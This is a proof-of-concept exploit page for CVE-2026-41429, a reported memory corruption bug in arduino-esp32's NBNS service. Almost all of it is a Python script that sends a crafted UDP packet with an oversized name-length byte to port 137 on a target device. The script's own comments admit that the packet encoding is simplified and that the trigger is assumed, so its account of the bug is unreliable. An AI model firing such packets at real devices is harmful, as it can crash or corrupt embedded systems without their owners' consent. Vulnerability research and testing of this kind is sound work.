CVE-2026-41429 arduino-esp32 NBNS内存损坏漏洞

import socket import struct # Proof of Concept for CVE-2026-41429 # Target: arduino-esp32 device with NBNS enabled on UDP port 137 target_ip = "192.168.1.100" # Replace with target IP target_port = 137 # Construct a malicious NBNS packet # NBNS header (Transaction ID, Flags, Questions, Answer RRs, Authority RRs, Additional RRs) # We focus on the Question part where the Name Length is manipulated. # Standard NBNS Name encoding: Length byte followed by labels. # Malicious packet structure: # Header (12 bytes) + Question Name (variable, manipulated length) + Type (2) + Class (2) transaction_id = 0x1234 flags = 0x0110 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 0 header = struct.pack("!HHHHHH", transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Malformed Name: Excessive length byte (e.g., 0xFF) to trigger buffer overflow # The vulnerability lies in trusting this length byte without bounds checking. # Real NBNS names are encoded differently, but the core issue is the length field. # Here we simulate a packet with a large length field to trigger the corruption. # Creating a payload with a length byte that exceeds the buffer size # Assuming the bug is triggered by a large length in the label field. encoded_name = b'\xFF' + b'A' * 63 # Length byte 255 followed by padding type_qtype = 0x0020 # NB (NetBIOS General Name Service) qclass = 0x0001 # IN (Internet) payload = header + encoded_name + struct.pack("!HH", type_qtype, qclass) print(f"Sending malicious packet to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) sock.close() print("Packet sent.")